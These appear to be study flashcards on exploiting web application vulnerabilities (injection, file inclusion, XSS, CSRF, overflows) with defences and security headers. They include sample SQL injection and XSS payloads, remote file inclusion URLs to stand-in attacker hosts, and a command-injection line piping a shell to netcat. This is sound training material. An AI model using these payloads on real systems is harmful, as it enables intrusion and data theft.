Chapter 09: Exploiting Application Vulnerabilities Flashcards
tli
Injection Vulnerabilities
One of the primary mechanisms pentesters use to break through web apps and gain access to the systems supporting the app
Often, the vulnerabilities allow attackers to supply code to the web app as input and trick the web server into either executing that code or supplying it to another server to execute
Input Validation
Input whitelisting is most popular
Devs describe the exact type of input that’s expected from a user and then verifies that the input matches the spec before passing it to other processes or servers
Opposite is input blacklisting where devs describe the potentially malicious input that must be blocked
Parameter Pollution
Sends a web app more than one value for the same input variable
EX: A web app might have a variable named “account” that’s specified in a URL like
hxxp://mycompany[.]com/status.php?account=12345
Attackers can attempt to exploit by injecting SQL code into the app:
hxxp://mycompany[.]com/status.php?account=12345’ OR 1=1;–
This is a suspicious entry though and will likely be blocked. So, attackers might pollute parameters with double variables:
hxxp://mycompany[.]com/status.php?account=12345&account=12345’ OR 1=1’–
This is banking on the hope that the web app won’t handle the URL properly, and performs validation only on the first parameter but then executes the second and lets the injection slip through
SQL Injection Basics
Basic SQL Parameters
* Select = Read
* Insert = Write
* Delete = Remote
* Update = Overwrite
Injection
Injects a SQL query through the input form a client uses to send data to a web app
* Attackers try to insert paramters or code into the SQL statement to query the database
* This whole process can be automated by attackers with tools that focus on SQL injection and exploit
To Do This
Attackers can inject their input:
* As URL parameters
* Entering data into form fields
* Modifying cookies
* Changing POST data
* Using HTTP headers
EXAM NOTE
* Any time you see something with an apostraphe and something = something, it’s SQL injection
* Log entry can be anything, as long as it returns true (A=A, 15=15, etc)
* Prevent with input validation or sanitization
* WAF can be used to prevent since it can perform input validation
* If question involves database, SQL, because most common db attack is SQL injection
Blind SQL Injection
Used to conduct an attack even when they don’t have the ability to view results directly. Two forms:
Boolean Blind SQL Injection
* Attacker sends input to the web app that tests whether the app is interpreting injected code before attempting to carry out an attack
* EX: Page 317-318
* Sometimes a query will only display the first row of results, but that doesn’t mean the attack was unsuccessful
* EX: Instead of 1=1 you can do 2=1
* If the app is vulnerable to Boolean SQL injection it won’t return any results because 1 never equals 2
* If an attacker sees a page with fields but zero results, they can be pretty confident it’s vulnerable to Boolean blind SQL
Timing-Based Blind SQL Injection
* Similar to boolean but with time delay parameters
* EX: WAITFOR DELAY ‘00:00:15’; –
* This instructs the DB to wait 15 seconds before performing the next action
* If the web app immediately returns a result, it’s probably not vulnerable to time-based SQL and vice versa
Page 317-319
Code Injection
General category of attacks
Seek to insert attacker-written code into the legitimate code creaed by web app devs
Any environment that inserts user-supplied input into code written by an app dev may be vulnerable to a code injection attack
EX: SQL, XSS, etc
DION NOTES
Inserts additional information or code through a data input form from a client to an application
Command Injection
Sometimes app code reaches back to the OS in order to execute a command
Attackers can exploit this and gain the ability to directly manipulate the OS
DION NOTES
Occurs when a threat actor executes arbitrary shell commands on a host via a vulnerable web app
diontraining[.]com && /bin/sh | nc hacked[.]diontraining[.]com 443
Page 319-320
LDAP Injection Attack
Lightweight Directory Access Protocol Attack
LDAP is a directory services protocol used by MS AD and other IAM systems
LDAP provides a query-based interface to allow other services to obtain information from the LDAP DB
The interface also exposes LDAP to injection attacks similar to the way that DBs are vulnerable to SQL injection
LDAP injection attempst to insert additonal code into LDAP queries to either allow attackers to retrieve unauthorized information or bypass auth mechanisms
Input validation and escaping techniques that protect against SQL also protect against this
DION NOTES
Targets web-based apps by fabricating LDAP statements typically created by user input
* If an app uses LDAP as part of the user login process, an attacker could perform an injection to search for users on the server
string ldapSearch = “(cn = $searchName”)”;
System.out.printIn(ldapSearch);
* You could enter a wildcard into the username field and it would be inserted as the search parameter and display all users on the system to your screen
Session Fixation
A variant of session hijack that exploits apps that use the same session ID across user sessions instead of expiring it after each session
Attackers can obtain access to a user account by following a series of steps:
* Obtain an old session ID, whether it’s stored in an authentication cookie or passed in a URL argument or hidden form field
* Force the user to authenticate to the site by popping up a windows, sending a link, etc
* Use the session ID to authenticate to the remote service and obtain access to an account
Cookie Stealing and Manipulation
Attackers can get cookies by:
* Eavesdropping on unencrypted network connections and stealing a copy of the cookie as it’s transmitted between the user and the site
* Installing malware on a user’s browser that retrieves cookies and sends them back to the attacker
* MITM where the attacker fools user into thinking they are the target website and presents a fake auth form, then they can auth on user’s behalf and steal the cookie
Once the attacker has the cookie they can perform cookie manipulation to alter the details sent back to the site or they can just use it to gain access to a site
Insecure Direct Object Reference
When an attacker modifies an URL to reference other objects they shouldn’t be able to
hxxps://mycompany[.]com/GetDoc.php?docID=123
hxxps://mycompany[.]com/GetDoc.php?docID=456
hxxps://mycompany[.]com/GetDoc.php?docID=789
File Inclusion Attacks
An elevated directory traversal attack that allows attackers to go beyond retrieving a file from a local OS to execute code contained within a file
Local File Inclusion
* Executes code stored in a file located elsewhere on the web server
* Similar to directory traversal
* hxxps://mycompany[.]com/app.php?include=C:\\www\uploads\attack.exe
Remote File Inclusion
* Allows attacker to execute code stored on a remote server
* Especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server
* hxxps://mycompany[.]com/app.php?include=hxxp://evil.attacker[.]com/attack.exe
When attackers discover a file inclusion vulnerability they often exploit it to upload a web shell to the server
This allows them to execute commands on the server and view results in the browser, and provides access to the server over common HTTP(S) ports
DION NOTES
File inclusion allows an attacker to download a file from an arbitrary location or upload an executable or script file to open a backdoor
RFI
Executes a script to inject a remote file into the web app or the website
* NORMAL: diontraining[.]come/login.php?user=jason
* CHANGE TO: diontraining[.]come/login.php?hxxp://malware[.]bad/malicious.php
* By doing this you pass the URL of a malicious script that’s located on a different domain and trying to put that as a username when logging in
LFI
Adds a file to the web app or website that already exists on the hosting server
* EX: The website allows you to upload a picture, which gets saved on the server (like a headshot)
* Since that picture is on the server, you can reference it with directory references
General XSS
Injects a malicious script into a trusted site to compromise the site’s visitors
This is a powerful input validation exploit—if you don’t do input validation you will fall victim to this
Four Basic Steps of XSS
1. Attacker identifies input validation vulnerability within a trusted website
2. Attacker crafts a URL to perform code injection against the trusted website
3. Trusted site returns a page containing the malicious code injected as well as the regular site code
4. Malicious code runs in the client’s browser with permission level as the trusted site
The reason XSS is so dangerous is because it breaks the browser’s security and trust model, because a browser will assume that scripts it receives from a trusted site should be safe to run
Example
hxxps://diontraining[.]com/search?q=< script%20type=’application/javascript’> alert (‘xss’)</script >
* First line is the trusted website
* search?q= is normally used for a site to conduct a search for anything found after the =
* Third part replaces normal query with the script we want to insert
Server-Side
Both persistent and non-persistent XSS are sever-side scripting attacks
* The server is executing the scripts that were injected
Client-Side
DOM XSS is a client-side
Reflected XSS
Occurs when an app allows reflected input
EX: A web app that contains a single text box asking a user to input their name, and when they click submit it loads a new page that says “Hello NAME”
Input validation should be used to never allow SCRIPT tags in the reflected input field
DION NOTES
AKA non-persistent XSS
* This type of attack only occurs when it’s launched because you’re clicking on that link or entering it into browser
* Happens once, and then it stops
Page 332
DOM XSS
Document Object Model
Some variations of XSS hide the attack code within the DOM, which is a tool used by devs to manipulate web pages as objects
XSS attackers can then call the DOM method within the HTML code that retrieves the XSS attack
Devs should avoid including sensitive information in the DOM through the use of hidden elements—assume any information sent to a user is accessible to that user
DION NOTES
Exploits the client’s web browser using client-side scripts to modiy the content and layout of the web page
* The DOM is how things are displayed in the client’s browser
* By injecting scripts into the DOM, you can change this
* DOM XSS runs with the logged in user’s privileges of the local system
Example
hxxps://diontraining[.]com/index.html#default=< script>alert(document.cookie)</ script>
* Looks like non-persistent XSS, but the difference is in the payload
* Shows the contents of document.cookie
* When you see “document” it’s an indication you’re looking at the DOM
* In this example, we’re trying to access the cookie stores inside of the web browser’s DOM
* document.write, document.location, etc are much more dangerous
Stored / Persistent XSS
When you store XSS code on a remote web server that remains there, even when an attacker isn’t conducting an attack
The common example is a message forum that contains malicious HTML in a post
DION NOTES
Allows attacker to insert code into the backend database used by that trusted website
* Attacker doesn’t have to wait for someone to click on a link anymore
* Malicious code is embedded into that website’s database
* Any time a user loads the page or content from database, they also load the persistent XSS as well
Page 333
Cookies
Cookies were heavily used in early web apps for tracking user actions because HTTP is a stateless protocol
* If you wanted to store information about a client, you stored it as a cookie on the user’s computer
* Cookies are just text files that store information
* Created when the server first sends the HTTP response header with that cookie over to the client
* Any subsequent request headers that are sent by the client back to the server should include that cookie
* Cookies always need to be encrypted and secure because they can contain sensitive information
Non-Persistent Cookie
AKA session cookie
* Resides in memory
* Used for a very short period of time
* When browser is done with that session, the session cookie is deleted
Persistent Cookie
Stored in browser cache
* Until they’re deleted by a user or they expire
Sessions
Session Management
Enables web apps to uniquely identify a user across several different actions and requests while keeping the state of the data generated by that user and ensuring it remains assigned to that particular user
* Server-side tracking can accomplish this
* We can also rely on cookies located on client devices
Session Hijacking
When an attacker disconnects a host and then replaces it with their own machine by spoofing the original host IP or using some other takeover mechanism
* A lot of session hijacking occurs via session cookie theft or modification of session cookies
* If the attacker can steal the cookie, they can takeover the session as the already authenticated user
Non-Random Tokens
Another form of session hijacking that focuses on session management that’s conducted using a database
* The database will assign a random session token to each user
* If the scheme is not truly random in nature, it’ll create tokens that can be easily guessed
* Attackers can then predict the cookie and hijack
Session Prediction Attacks
Predicts the session token in order to hijack the session
* To prevent, session tokens need to be generated using non-predictable algorithms and must not reveal any info about the session’s client
CSRF
Cross-Site Request Forgery
CSRF exploits the trust that remote sites have in a user’s system to execute commands on the user’s behalf
They make the reasonable assumption that users are often logged into many different sites at the same time (on tabs)
Attackers then embed code in one site that sends a command to a second site
If the user is logged into the second site, the command may succeed
Defense against this is to use secure tokens in the web app that an attacker won’t know to embed in the links
DION NOTES
Exploits a session that was started on another site and within the same web browser
* Often a malicious script that’s hosted on an attackers site
* Attacker needs to convince the victim to start a session with the targeted site
* Then, attacker can pass an HTTP request to the victim’s browser and spoof this as an action on the target site
* CSRF can be disguised as images, tags, and other HTML coding techniques to hide
* For CSRF to work, target site must have a feature that could lead to unauthorized access like a “forgot my password” reset feature
* Site must also rely on cookies for authenticating users and use predictable patterns for session management that can be guessed
To Prevent
1. Ensure user-specific tokens are used in all form submissions
2. Add randomness and prompt for additional information for password resets
3. Require users to enter their current password when changing it
EXAM NOTE
If somebody is trying to get a victim to unintentionally carry out an action on a website, this is normally going to be a form of CSRF
* This most often occurs by trying to get the victim to do some kind of unknown update to their default email address or by changing that user’s password
SSRF
Server Side Request Forgery
Similar to CSRF but instead of tricking a user’s browser into visiting a URL it tricks a server into visiting a URL based on user-supplied input
SSRF is possible when web apps accept URLs from a user as input and then retrieves information from those URLs
Race Conditions
Occurrs when the resulting outcome from execution processes is directly dependent on the order and timing of certain events, which then failed to execute in the order and timing intended by the developer
* In short: The computer is trying to race itself in the processing of certain data
* Race conditions usually happen outside the normally logged processes in a system
Race Condition Vulnerabilities
Found where multiple threads attempt to write to a variable or object at the same memory location
* One way this can happen is with a dereference or no pointer dereference exploit
Dereferencing
Occurs when the code attempts to remove the relationship between a pointer and the thing it points to inside memory
* Dereferencing breaks the reference pairing , which allows changes to that location in memory, or the variable that contains the memory
TOCTOU
When race conditions exploit a database, they take the form of time-to-check-time-to-usevulnerabilities
* TOCTOU happens when an app checks a resource and when the app uses the resource
* The exploitation of this vulnerability allows us to change or invalidate the check that was previously made
Mutually Exclusive Flag (Mutext)
Acts as a gatekeeper to a section of code so that only one thread can be processed at a time
* EX: SharePoint locks a file when you check it out, so that only you can write while others can only read—this prevents two users from writing at the same time
* That concept applies to mutex locking down database
Deadlock
Occurs when a lock can’t be removed from the resource
* Properly design and test any locks or mutexes to prevent this
Buffer Overflows
Occurs when a process stores data outside the memory range allocated by the developer
* Think of a 16 oz glass (buffer) and you try to fill it with 20 oz of water (data)—it will overflow
Phone Number Example
* Let’s say you have a buffer of 8 digits (0-7)
* You enter your phone number 555-1234
* It fits fine
* But now you want to enter someone’s phone number that’s longer
* 787-555-124
* It doesn’t fit, and the buffer A overflows into buffer B
Why Buffer Overflow Is Bad
Each program reserves a chunk of memory on startup, which allows it to have a place to store data tht it’s going to have to use during processing, known as a stack
Stack
* Reserved area of memory where the program saves the return address when a function call instruction is received
If an attacker places too much information into the stack, or they change the value of that return pointer, they can carry out an attack
* It’s an attempt to overwrite the return address of the pointer so it points to a different place in the stack where they may have already placed some kind of malicious code
Smashing the Stack
Occurs when an attacker fills up the buffer with NOP instructions (Non-Operation Instruction)
* NOP tells the system to do nothing and go to the next instruction
* The point would find NOPs until they get to the attacker code, and then run that
* When the series of NOPs is hit by a non-malicious program because the attacker has filled it with this buffer of NOPs with a return address at the end, this is called a NOP slide
Four Ways to Protect Against Buffer and Integer Overflow
1. Maintain good patch management programs: buffer overflows exist because of poorly written and developed code, so when they’re discovered they get patched
2. Always use secure coding practices: Using careful security checks before release, like boundary checking and input validation on any data being entered
3. Use Address Space Layout Randomization (ASLR): Prevent’s an attacker’s ability to guess where the return pointer for a non-malicious program has been set to call back to
4. Use Data Execution Protection: Blocks apps that attempt to run from protected memory locations
Integer Overflow
Occurs when a computed result from an operation is too large to fit into its assigned variable type for storage
* Can lead to crashing, data corruption, or it can trigger a buffer overflow
* Integer and buffer overflows can lead to arbitrary code execution and, in turn, privilege escalation
* When coding an integer, you’re going to use an integer of 8, 16, 32, or 64 bits—these variables can be either signed or unsigned
Examples of Boundaries
* 8 bit, signed: 256 (-128 to +127)
* 8 bit, unsigned: 256 (0 to 255)
* 16 bit: 65,535
* 32 bit: 4.2 million
* 64 bit: 18 quadrillion
Broken Authentication and Insecure References
Broken Auth
Software vulnerability where the authentication mechanisms are insecure and can allow an attacker to gain entry—exploitation ususally occurs because:
* The passwords being used are weak or easily guessed
* The autnentication system itself was programmed insecurely with several coding flaws
Examples
* Display of credentials in clear text
* Weak randomization when defining session tokens
* Brute force login requests with zero lockout
* Session identifiers that get displayed after authentication (URL/id=1234) which can be copied into another browser to takeover session
To Protect Against Broken Auth
1. Use MFA
2. Never use default credentials in any app
3. Verify passwords are strong and not found on published password exploitation lists
4. Use limits or delays to slow failed login attempts and brute force attempts
5. User server-side session management and long and randomized session identifiers
6. Never pass a session identifier as a URL parameter
7. Implement session timeouts and expiring session identifications
Insecure Direct Object Reference
Used to manipulate URLs to gain access to a resource without requiring proper authentication
* Due to weak access control system in place
* EX: URL[.]com/account.php?acct=1234
To Prevent Insecure Ref
1. Use secure coding practices
2. Implement proper access control techniques to verify a user’s authorization
Improper Headers
There are 10 different HTTP header methods, and it’s important to verify you have the proper header settings enabled to prevent against:
* CSRF
* XSS
* Downgrade attacks
* Cookie hijacking
* User impersonation
* Clickjacking
HSTS
HTTP Strict Transport Security
* Allows a web server to notify web browsers to only request using HTTPS and not HTTP
HPKP
HTTP Public Key Pinning
* Allows HTTPS websites to resist impersonation by attackers using mis-issued or fraudulent certificates
* HTTPS web server will serve a list of public key hashes
* On subsequent connections, clients can expect that server to use one or more of those public keys in its certificate chain
X-Frame-Options
Prevents clickjacking from occurring by declaring a policy that communications are only allowed from a host to client browser directly, without allowing frames to be displayed inside another webpage
X-XSS-Protection
Enables XSS filter in the web browser and provides a way to sanitize the page and report a violation if an XSS is attempted by the browser
X-Content-Type-Options
Prevents the browser from interpreting files as something other than what they are
* This is used to dictate the content type that the page should interpret everything as
* Prevents threat actors from tricking the browser into processing the wrong type of file or content
CSP
Content-Security-Policy
* Requires careful tuning and precise definitions of its policy
* If you enable CSP, it has significant impact on the way browsers render pages, like disabling inline JavaScript by default
* Prevents a wide range of attacks like XSS and other XS injections
X-Permitted-Cross-Domain-Policies
* Sends a cross-domain policy file (XML doc) to the web client and specifies if the browser has permission to handle data across domains
* When clients request content hosted on a particular source domain, and that content makes requests directed towards domain other than its own, that remote domain needs to be inside the hosted cross-domain-policy file
Referrer-Policy
Governs which referrer information should be included with requests made
* EX: The policy could contain the value of the same origin, which tells the browser that the same site origins are authorized, but cross-origin requests aren’t
Expect-CT
Indicates browsers to evaluate connections to the host emitting the header for Certificate Transparent compliance
* CT is an open framework for monitoring digital certificates
* Can help detect misused certificates
Feature-Policy
Allows developers to selectively enable and disable use of various browser features and APIs
* EX: You can control access to accelerometer or gyroscope in mobile device browser by using the Feature-Policy header
* Geo-location feature can be helpful for security, to ensure user is in specific geographical area
